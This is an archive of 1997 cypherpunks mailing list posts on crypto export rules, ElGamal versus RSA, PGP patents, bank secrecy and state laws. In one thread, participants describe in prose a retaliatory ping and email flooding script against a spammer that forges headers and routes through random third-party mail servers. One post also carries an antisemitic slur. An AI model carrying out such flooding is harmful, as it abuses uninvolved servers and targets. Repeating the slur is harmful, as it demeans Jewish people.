You hit the nail on the head with your last line: subliminal channels.

Even financial software, ostensibly with no export controls, will still
have to be vetted for export, as any system usable for financial
cryptography is almost certainly usable for "other purposes."

I suppose that in past generations of "banking software" this was less
obviously the case, as SWIFT and whatever the systems were used DES and
variants. But as banking software moves to public key approaches, the
possibilities drastically multiply.

Wanna bet that if a Cypherpunk sets up a digital cash system using
extremely strong crypto that it won't be an easy matter to get export
approval, no matter what the new rules supposedly are?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 9 May 1997 08:39:58 +0800
To: cypherpunks@toad.com
Subject: El Gamal
Message-ID: <199705090000.UAA02189@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

aba@dcs.ex.ac.uk wrote:

>PGP has been standardising on El Gamal which is not covered by RSA's
>patents, for precisely the reason that RSA Inc has a bad record as a
>litigious patent worker.  El Gamal is a variant of Diffie-Hellman, 
>and the patents on Diffie-Hellman are set to expire RSN (later this 
>year, Sept?)

How does El Gamal compare functionally and security-wise to RSA and 
who developed it?

>I think that the initial PGP products are using RSA, however I 
>understood PGP is moving to El Gamal, where RSA is due to be 
>relegated to a `for backwards compatibility only' feature. 

Is El Gamal used in the source for PGP 3.0?

Ciao

Harka 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM3JpGjltEBIEF0MBAQFDfQf8CawUGU1ynDlmcmsloy7zsh5oQUhcxPSv
Luy17oVmbWVeCWpCbqqiWFoRh1+QzBBc8Yfbb2/2LOw1KFyIq5lQ8Ly64JPuVMgV
HUocUDnPE7Q18eVVXOfNyG6vg/s0PBRqREVrx1QWn37idPduMTg0TE/IHZqFVrso
3XdVroh41aX7qVnan2+nRnVCbrV9xMvNteWOUl/nADLHCAkoMl/eCcQVY/XSmFjc
SsUbNNgCDBJlZhAwAI/CBLM7CBVt4okZQkdKeLNWsrm1tG2yha7vl/2AI6k1Y70H
2g1zTrhqK7q/rqkNL6DKyam/NZ1FKXtO0BsTLsV6KqmI7SnGN4UZXw==
=f4Qu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 9 May 1997 09:26:48 +0800
To: cypherpunks@toad.com
Subject: Mega Death
Message-ID: <1.5.4.32.19970509001538.008de4a4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


White House press briefing May 8:

             Q    Mike, Attorney General Reno today confirmed 
that the Justice Department is investigating the possibility of a 
high-level Israeli spy in the U.S. government.  How is it going 
to impact relations with Israel at this point?

             MR. MCCURRY:  No comment on that subject. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Fri, 9 May 1997 09:19:20 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970507142536.009a7e90@gateway.grumman.com>
Message-ID: <3.0.1.32.19970508203058.0099c100@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


>First of all, Wallace is a great guy and anyone who interferes with his
>freedom of speech is scum on par with C2Net.

That's your opinion, and you certainly have a right to it.  I don't want to
start the spam war all over again, suffice it to say that it's not an
opinion I happen to agree with.

>Second, if you run a cgi script in this manner, the pings are still coming
>from the web server.  You want to ping from the client that the browser's on.

Which is why I suggested the email version as well.  The arp version has
the connotation of being "morally wrong". An email version, while more
processor and bandwidth intensive, is at least no worse than what Sanford
and his crew are already doing.

Like I said, it's more of a passive agressive thing.  If I were to come
across a page that said "Click here to spam some spammers" and that's all I
had to do, why wouldn't I take 2 seconds of my time to do it?  That's
certainly less time than it takes to go through the amount of spam in my
mail each day.

And who cares if the pings/emails are coming from my site?  For the email
version I just add a header that says something to the effect of "This
email was sent to you on behalf of someone at $REMOTE_HOST" and set the
Return-Path to <root@localhost>.  At that point, how can you prove that it
was sent by your script or just by someone using your SMTPd?


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"This is what we heroes call the denouement, that's French for when we
finish off the supervillains ... huh? ... huh? ...  Roof pig, most
unexpected."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 9 May 1997 10:59:27 +0800
To: devnull@manifold.algebra.com
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <2yae7D2w165w@bwalk.dm.com>
Message-ID: <199705090234.VAA23571@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> > "18. In general, possession constitutes the criterion of title of 
> > personal property, because no other means exist by which a knowledge of the 
> > fact to whom it belongs can be attained. A seller of a chattel is not, 
> > therefore, required to show the origin of his title, nor, in general, is a 
> > purchaser, without notice of the claim of the owner, compellable to make 
> > restitution; but, it seems, that a purchaser from a tenant for life of 
> > personal chattels, will not be secure against the claims of those entitled 
> > in remainder. Cowp. 432; 1 Bro. C. C. 274; 2 T. R. 376; 3 Atk. 44; 3 V. & B. 
> > 16."
> > 
> 
> My problem with Igor's model is that has a "gubmint" that can decide that
> although you possess something, you don't have a title to it.

Seems like it is a matter of value judgment.

To stretch your values a bit, suppose that someone steals your car
and I buy it. Suppose also that I have bodyguards so that you would 
not be able to use force to take it back.

Would you be content if you could not (if the system worked according to
your values) sue to get the car back?

> I don't think the cost of having a "gubmint" justifies the convenience(?)
> of having one's stolen property recovered.
> 
> I point Igor's attention to the two categories of real estate ownership in
> traditional Russian legal framework (probably borrowed from Poland and
> Germany...) - the kind that cannot be taken away by the state for any
> reasn (even as punishment for treason), and the kind that can be taken
> away, e.g., for non-paymet of taxes.

This is confiscation of property, ie, something that the owner has a title
to. A stolen car is not a property (as far as i understand it).

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Fri, 9 May 1997 11:07:50 +0800
To: Tim May <tcmay@got.net>
Subject: Re: El Gamal
In-Reply-To: <v03007801af9848d58988@[207.167.93.63]>
Message-ID: <Pine.SOL.3.96.970508214632.24673B-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 8 May 1997, Tim May wrote:

> 
> (Or was that a trick question?)

Or was *that* a trick question?  
Am I startin' to catch on to this crypto stuff?:)
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 9 May 1997 10:50:28 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508203058.0099c100@gateway.grumman.com>
Message-ID: <ayZe7D51w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne <osborne@gateway.grumman.com> writes:

> >First of all, Wallace is a great guy and anyone who interferes with his
> >freedom of speech is scum on par with C2Net.
>
> That's your opinion, and you certainly have a right to it.  I don't want to
> start the spam war all over again, suffice it to say that it's not an
> opinion I happen to agree with.

You expose your own hypocricy. Wallace is free to spam. I'm free to
ignore his spam, which I do.

> Like I said, it's more of a passive agressive thing.  If I were to come
> across a page that said "Click here to spam some spammers" and that's all I
> had to do, why wouldn't I take 2 seconds of my time to do it?  That's

Can you think of a way to have it originate at the browser's machine, not
your machine? Perhaps an activex program for w95 :-)

> certainly less time than it takes to go through the amount of spam in my
> mail each day.

I suggest you learn to filter your e-mail.

> And who cares if the pings/emails are coming from my site?  For the email
> version I just add a header that says something to the effect of "This
> email was sent to you on behalf of someone at $REMOTE_HOST" and set the

You could also try an html form whose actions send mailto:your@enemy

> Return-Path to <root@localhost>.  At that point, how can you prove that it
> was sent by your script or just by someone using your SMTPd?

He'll just filter out your site.  Wallace has some very smart
people working with him.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 9 May 1997 10:57:51 +0800
To: cypherpunks@toad.com
Subject: Re: El Gamal
In-Reply-To: <v03007801af9848d58988@[207.167.93.63]>
Message-ID: <PL1e7D52w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:

> >How does El Gamal compare functionally and security-wise to RSA and
> >who developed it?
>
> Yes, who did develop El Gamal?
>
> Could it have been....El Gamal?

What's El Gamal up to these days? I heard he used to work for Okidata
as a low-level manager and had to leave when both of his subordinates
resigned at the same time. :-) Is that true?

Why won't Sameer "Gas the Kikes" Parekh hire his fellow Arab?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 9 May 1997 10:47:34 +0800
To: cypherpunks@toad.com
Subject: Cryptography Short Course
Message-ID: <v03020980af983bd87543@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Thu, 8 May 1997 22:09:58 -0400 (EDT)
From: Christof Paar <christof@ece.WPI.EDU>
To: DCSB <dcsb@ai.mit.edu>
cc: Arlene Lowenstein <arlowenstein@jake.WPI.EDU>
Subject: Cryptography Short Course
MIME-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Christof Paar <christof@ece.WPI.EDU>


WPI's Continuing Education Program is offering a 5-day short course in
cryptography. I will be teaching the course from August 4-8, in Waltham.
Waltham is 10 miles West of Boston.

Please find below a detailed course description and a registration form.

If you have any question about course contents etc., please feel free to
contact me by email.

For questions regarding registration, contact Arlene Lowenstein at:
arlowenstein@jake.wpi.edu

Best regards,

Christof

*************************************************************************
Christof Paar                   http://ee.wpi.edu/People/faculty/cxp.html
Assistant Professor             email:  christof@ece.wpi.edu
Cryptography Group              phone:  (508) 831 5061
ECE Department, WPI             fax:    (508) 831 5491
100 Institute Road
Worcester, MA 01609, USA
*************************************************************************



-----------------------------------------------------------------------
           Worcester Polytechnic Institute
                 5-Day Short Course

        APPLIED CRYPTOGRAPHY AND DATA SECURITY

          Seminar Leader: Dr. Christof Paar


Many of today's information technology applications have data security
as a central system requirement. Applications such as wireless computer
networks, electronic commerce, and many www applications rely heavily
on a high degree of system security.

This five-day course will provide you with an in-depth introduction to
the field of applied cryptography. Virtually all important aspects of
public-key and private-key algorithms as well as protocols will be
introduced. The course keeps the theoretical background and technical
applications well-balanced. You will leave the course with a solid,
broad knowledge of state-of-the-arts cryptography. You will have skills
to carefully choose and design a security scheme for a given
application.

Background Note: The seminar is based on a highly successful course
which has been taught to more than 150 professionals in industry and
graduate students on campus.



                  COURSE OUTLINE

Day 1, AM - Introduction

Principles of cryptography. Classical algorithms. Attacks on
cryptographic systems.

Day 1, PM - Private-key algorithms

Stream ciphers. Pseudo-random generators. One-time pads.

Day 2, AM - Private-key algorithms

Data Encryption Standard (DES): Function, performance, implementation,
security. Overview on other modern block ciphers. Key length and
long-term security.

Day 2, PM - Usage of private key-algorithms

Operation modes of block ciphers. Multiple encryption. Key whitening.

Day 3, AM - Public-key cryptography

Introduction. One-way functions. Some number theory.

Day 3, PM - Public-key algorithms

RSA: Function, performance, implementation, security. Recent attacks.

Day 4, AM - Public-key algorithms

The generalized discrete logarithm problem. Diffie-Hellman key
exchange. ElGamal encryption. Elliptic curve cryptosystems.

Day 4, PM - Protocol building blocks

Digital Signatures. Hash Functions. Security Services: Privacy,
authentication, integrity, identification, non-repudiation.

Day 5, AM - Key distribution

Key distribution protocols. Principle of Kerberos. Certificates.
Trusted authorities.

Day 5, PM - Identification

Smart Cards. Principles of identification. Challenge-and-response
protocols. Course summary.


                  WHO SHOULD ATTEND

Engineers and other technical professional who develop, implement, or
assess information security applications in software or hardware.
Technical managers who need a solid understanding of data security
issues will also greatly benefit from the course.


                 ABOUT THE INSTRUCTOR

Dr. Christof Paar leads the Cryptography and Data Security group at WPI's
ECE Department. His research interests include security issues in wireless
and ATM networks, efficient algorithms for elliptic and hyperelliptic
curve systems, and hardware implementation of cryptosystems.


                 DATES AND LOCATIONS

August 4 - 8, 1997 in Waltham, MA (10 miles from Boston)


                  FEE

$1795 for first registration

$1625 for subsequent registrations


--------------------- print and cut here -----------------------------

           WPI CONTINUING EDUCATION REGISTRATION FORM

Please print out, complete, and return this form to

  Office of Continuing Education, WPI, Worcester, MA 01609-2280,
  call (508) 831-5517 or FAX this form to (508) 831-5694.

Make copies of this form for multiple registrations.


Title of Seminar: APPLIED CRYPTOGRAPHY AND DATA SECURITY

Date of Seminar: August 4-8, 1997, WPI Waltham Campus, Waltham, MA


Name (Mr.)(Ms.) ___________________________________________________

Title _____________________________________________________________

Organization ______________________________________________________

Business Address __________________________________________________

City _______________________________________

State ________ Zip _________________________

Business Phone  ____________________________

FAX  _____________________

Home Phone  ______________


Fee Enclosed (Make checks payable to WPI) ______

Bill my Company, P.O.# __________

Please charge my:     VISA   Mastercard   Discover

  Name on card ________________________________________________

  Exp. date _____________________

  Card # ______________________________________________________

  Signature ___________________________________________________




~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Fri, 9 May 1997 11:13:27 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508203058.0099c100@gateway.grumman.com>
Message-ID: <3.0.1.32.19970508230144.00947a40@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri Vulis wrote:
>Perhaps an activex program for w95 :-)

If I hadn't sworn to take my own life before I touched ActiveX, then I
might have considered that course of action.  :)  Instead, I'll leave it as
an exercise for the reader.

>I suggest you learn to filter your e-mail.

Actually, this account has adequate filters.  Unfortunately, my employer
chooses to use Exchange for mail, which has less than astonishing filtering
capability.  But I appreciate the inference as to my (lack of)
intelligence.  ;)

>You could also try an html form whose actions send mailto:your@enemy

Wouldn't work with all browsers, and can't get more than one at a time.

>He'll just filter out your site.

Which is why I originally suggested bypassing the normal sendmail route and
using straight sockets.  If he blocks my script from connecting directly to
his smtpd then I use a random smtpd somewhere as a go-between, routing it
to his smtpd.  He can't (won't) block them all.  Also, this is why I
recommended making the script small and portable: *anyone* could put it up
on their site.  He can't block everyone.

_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
A system without PERL is like a hockey game without a fight.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 9 May 1997 07:35:06 +0800
To: rah@shipwright.com
Subject: Re: Encryption--RSA v. PGP
In-Reply-To: <v03020954af97d5675cc5@[139.167.130.248]>
Message-ID: <199705082209.XAA01949@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Kevin Connolly <kconnolly@EVW.COM> writes on cyberia-l forwarded to cpunks:
> RSA Data Security, Inc. filed an action in the Superior Court of California,
> San Mateo County, against Pretty Good Privacy, Inc.  PGP has been
> claiming that its license to distribute RSA-based encryption software is
> based on a chain running from Public Key Partners to Viacrypt, Inc.  PGP
> acquired Viacrypt, Inc. in January 1996 and has been selling RSA-based
> encryption software for commercial use ever since.  The complaint, filed
> by Tomlinson Zisko Morosoli & Maser, alleges that PGP's license is
> derived from a license to Lemcom, which in turn has been terminated.
> 
> This might well mean the end of PGP.  

I don't think so.

PGP has been standardising on El Gamal which is not covered by RSA's
patents, for precisely the reason that RSA Inc has a bad record as a
litigious patent worker.  El Gamal is a variant of Diffie-Hellman, and
the patents on Diffie-Hellman are set to expire RSN (later this year,
Sept?)

There is still the putative claim by RSA that they have a blanket
patent covering `any public key system', but it sounds like they are
not relying on this claim here.

I think that the initial PGP products are using RSA, however I
understood PGP is moving to El Gamal, where RSA is due to be relegated
to a `for backwards compatibility only' feature.  This suit will maybe
accelerate this move away from RSA, and perhaps costs backwards
compatibility.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Fri, 9 May 1997 15:04:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Banking Secrecy and Nazi Gold
Message-ID: <3372C87B.4863@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

According to the archives, Tim May wrote:

> I suspect the U.S. pressure on Swiss banks has a political dimension
> related to forcing a New World Order on international banking. The
> U.S. wants banking secrecy subject to U.S. control (so that banks
> like Castle Bank, Nugan Hand Bank, Banco Ambrosiano, BCCI, and the
> Bank of America can continue to be used for U.S. interests, and
> only U.S. interests).

I think this is the first time I've ever said this about Tim, whom
I usually read first, but "That's nuts."

The political game is simple: The Wiesenthal Center and the World
Jewish Congress are in a pissing contest to see who can recover
the most cash. (There are two different class action lawsuits
going, one from each organization.) Senator Alphonse "I Love to
Make Noise" D'Amato is pandering. Some former members of the
intelligence community are involved, but that shouldn't be
surprising given the fact that they grew up as Nazi hunters.

In general I agree with Tim's argument and the mean (if not all the
details) of the followups, but I'd like to restress a few things:

1) The reason Jews used Swiss banks is precisely that they were
   secret, fercryingoutloud.

2) Sure, some banks took advantage of the power disparity (even if
   the victims had little guarantee that they'd be able to recover
   their assets, if they didn't squirrel them away soon they'd be
   sure to go to the Nazis). That makes them scum. But screwing
   with bank secrecy ain't the way to fix that Reputation Problem.

3) The reason governments and not just banks & individuals are
   involved is that some unclaimed deposits went to the government,
   which sent them off to Eastern Europe.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQBVAwUBM3LIZpNcNyVVy0jxAQERfgIAiaOqRZrwRxyNWqRUo0ypLT4WDzawsdvB
VxiYN3E/nw5k9ZL7AUQQes2AJHS3tDaN086rflJ0GHUwg4TFA8Vsng==
=shYb
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 9 May 1997 19:56:09 +0800
To: cypherpunks@toad.com
Subject: EAR Revisions
Message-ID: <1.5.4.32.19970509113532.008952dc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


BXA has published in today's Federal Register a final
rule for revisions and clarifications to all Parts of the EAR. 
Encryption is affected.

   http://jya.com/ear050997.txt  (123K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 10 May 1997 00:56:52 +0800
To: cypherpunks@toad.com
Subject: Wine Politics Again!
Message-ID: <v0302098baf98c132e204@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: mcooley@pop.tiac.net
Date: Thu, 08 May 1997 22:25:28
To: dcsb@ai.mit.edu
From: Marianne Cooley <mcooley@nethorizons.com>
Subject: Wine Politics Again!
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Marianne Cooley <mcooley@nethorizons.com>

This one is not just an Internet message.  In fact, I should probably take
it to my marketing list ;)--but just to keep y'all up to date with the
latest commerce developments.

Marianne

forwarded message:
Hello friends of the Virtual Vineyards and family wineries. Remember the
felony direct shipping law in Georgia I wrote about a few weeks ago? Well,
Governor Miller signed it, unfortunately. Ship a bottle of wine, go to
jail. Amazing.

Here it is again, this time in Florida. The wholesale liquor lobby is
pushing a bill through the state houses making it a felony to ship a bottle
of wine to a Florida consumer. If you believe, as we do, that this is
unreasonable restraint of legitimate commerce, please register your
opposition directly with Governor Chiles. This is not just a Florida issue,
as other states are watching the development of such laws very closely. If
you have friends in Florida please pass this on to them and urge them to act
quickly. The bill will soon be on the governor's desk.

Here is a sample letter for Governor Chiles with several ways to contact
him. Personalize it if you wish, or send it as is:

E-Mail: chilesl@eog.state.fl.us
Fax:  904-487-0801
Phone:  904-488-4441

Governor Lawton Chiles
Office of the Governor
Florida State Capitol,
Talahassee, Florida  32399-0001

Dear Governor Chiles:

I call upon you to veto HB 725 (SB336), the felony direct shipment
bill. This bill is sponsored by the state's Liquor wholesalers in order to
protect their monopoly on wine sold to Florida consumers.  Out-of-state
sellers of wine support Florida Attorney General Butterworth's
counter-proposal, and are willing to register with Florida, pay state excise
and sales taxes and assure that all Florida laws protecting minors are
observed. If HB 725 becomes law, Florida wine consumers' choices of products
will be narrowly limited to the few wines represented by the Liquor
wholesalers and Florida itself will be making a statement that small family
winegrape growers and wineries in over 40 states deserve to go to jail, and
lose their farms and vineyards, if they ship a bottle of wine to a customer
who happens to reside in Florida.  HB 725 is hostile to consumers and
agriculture.

I urge you to use your veto.

Sincerely yours,

Peter D. Granoff, M.S./Virtual Vineyards
http://www.virtualvin.com
800-289-1275
415-938-9463
415-919-1977 fax
3803 East Bayshore Rd., Suite 175
Palo Alto, CA 94303



*********************************************************************

       Marianne Cooley            Internet Special Interest Group
       NetHorizons Unlimited      SigNet.org--where online users meet
       mcooley@nethorizons.com    http://www.signet.org
       617.433.0825

Join "Life at Internet Speed" on www.boston.com Wednesdays from 1-2pm!
For a chat topic reminder, send an email to majordomo@signet.org
and write "subscribe life" (no quotation marks) in the body of the message.

**********************************************************************


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 9 May 1997 23:27:49 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508230144.00947a40@gateway.grumman.com>
Message-ID: <FPRF7D57w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne <osborne@gateway.grumman.com> writes:

> >I suggest you learn to filter your e-mail.
>
> Actually, this account has adequate filters.  Unfortunately, my employer
> chooses to use Exchange for mail, which has less than astonishing filtering
> capability.  But I appreciate the inference as to my (lack of)
> intelligence.  ;)

Your lack of ethics, rather.  You choose to work for someone who chooses
to use inadequate Microsoft software, and you brandish these choices as
an excuse to interfere with somene's free speech.

> Which is why I originally suggested bypassing the normal sendmail route and
> using straight sockets.  If he blocks my script from connecting directly to
> his smtpd then I use a random smtpd somewhere as a go-between, routing it
> to his smtpd.  He can't (won't) block them all.  Also, this is why I
> recommended making the script small and portable: *anyone* could put it up
> on their site.  He can't block everyone.

Wallace hired some people who are very good (and you know how seldom I
characterize someone as being very good).  I'm fairly confident that
they will withstand whatever attacks these half-brained wannabe hackers
and anti-free-speech hooligans can invent.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 9 May 1997 17:59:14 +0800
To: harka@nycmetro.com
Subject: Re: El Gamal
In-Reply-To: <199705090000.UAA02189@linux.nycmetro.com>
Message-ID: <199705090726.IAA00747@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Harka <harka@nycmetro.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> wrote:
> >PGP has been standardising on El Gamal which is not covered by RSA's
> >patents, for precisely the reason that RSA Inc has a bad record as a
> >litigious patent worker.  El Gamal is a variant of Diffie-Hellman, 
> >and the patents on Diffie-Hellman are set to expire RSN (later this 
> >year, Sept?)
> 
> How does El Gamal compare functionally and security-wise to RSA and 
> who developed it?

Functionally: it provides both a digital signature method and an
assymetric encryption method.  They are not self-inverses as in RSA
(in RSA encrypt with secret key = signature, encrypt with public key =
assymetric encrypt; with El Gamal encrypt and sign are different
operations).  

Security: EG is based on the discrete log problem (being a variant of
Diffie-Hellman) where as RSA is based on the factoring problem.
Discrete log has about the same security for the same size keys.  El
Gamal encrypted blocks and signatures are twice the size as RSA
blocks, there is a 2x expansion.

If you don't mine a common prime modulus with EG, key generation
is fast (just generate a random number), RSA key generation is _slow_.

There is no separate patent on EG.  The D-H patent, which the patent
holders may argue covers EG, expires as I said RSN so the attraction
of EG is that it will then be unencumbered by patents.

El Gamal was developed by Taher El Gamal.

I don't see the advantage of EG encryption, D-H achieves the same
thing with the same security and it doesn't have message expansion.
There is a difference, with D-H you can't choose the session key
directly, it is negotiated and depends on the encryptors choice of
negotiation parameter and the recipients secret key.  However most
uses of public key encryption are only interested in exchanging or
negotating a symmetric key anyway, so D-H seems practical for this
purpose.  Is there any speed advantage with EG encryption?
 
EG signatures and D-H encryption?  You can share the prime modulus
public key parameter.

> >I think that the initial PGP products are using RSA, however I 
> >understood PGP is moving to El Gamal, where RSA is due to be 
> >relegated to a `for backwards compatibility only' feature. 
> 
> Is El Gamal used in the source for PGP 3.0?

I don't know, no one's exported the source to pgp3.0 in electronic
form, and I haven't seen the books either.  

PGP4.5 (which has been exported, was on ftp://ftp.replay.com last I
looked) seems to use RSA still.  It has the added functionality of a
windows front end, separate signing and encryption keys, and expiry
dates on keys.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Fri, 9 May 1997 23:52:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: El Gamal
Message-ID: <199705091530.IAA00261@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


The next version of PGP will offer the combination of El Gamal for
encryption and Digital Signature Standard (DSS) for signatures, as
an alternative to RSA.  These are based on the discrete log problem.

El Gamal is really almost the same as Diffie-Hellman.  You have a
secret x, he has a secret y, and together you calculate g^(xy) which
is your shared secret.  With DH you then just use that shared secret
as your message encryption key; with El Gamal you multiply (or xor,
or add...) your key with the shared secret.  PGP uses El Gamal so that
we can send along not only key info but also which algorithm to use for
the message body encryption, and also a checksum.

It is true that El Gamal encrypted messages will be about 128 bytes bigger
than RSA for 1024 bit keys.  DSS on the other hand produces somewhat
smaller signatures than RSA, by about 85-90 bytes.  But neither of these
is really significant in typical applications.

The Diffie-Hellman patent expires September 6, 1997.  I gather that it
would also cover El Gamal since that is a variant.  The Hellman-Merkle
"knapsack" patent, which claims to cover all public key cryptography,
expires October 6, 1997.  After that date, at least some forms of public
key cryptography will be unpatented in the U.S.  The RSA patent expires
September 20, 2000.  It is possible that the next three years will see
greater use of discrete log cryptography because of the patent state,
although RSA has a significant "brand" advantage in the business market.
(This patent info is from "Handbook of Applied Cryptography", from
Menezes et al, which I recommend as a supplement to Schneier.)

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 9 May 1997 21:51:41 +0800
To: cypherpunks@toad.com
Subject: "constructive" possession of a gun
Message-ID: <199705091336.IAA30148@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Senate Judiciary Committe -- 08 May 1997

Well the JackBoots are at it again.

Under current Federal Law 5yrs can be tacked on to a criminal sentance if a
gun is used in the commision of a crime. Now they have a new twist to add:
"constructive" possession of a gun during the commision of a crime.

Now what does "constructive" possession mean?

Well according to those who testified from the various depts of the
Excutive Branch it means that a gun happens to be in the area, or the
potential to use a gun or if you recoment that someone else use a gun
durring the commission of a crime even though the weapon was never used.

Some examples given:

If durring the planning of a bank robbery you recomend that a gun be used
durring the robbery even though you did not use the weapon or was not even
present durring the robbery you could still get the extra 5yrs.

If durring a drug deal taking place in the back seat of a car there is a
gun under the front seat of the car you would still get the extra 5yrs even
though the the gun was never used.

If durring a drug raid on your home and a gun is found anywhere in the
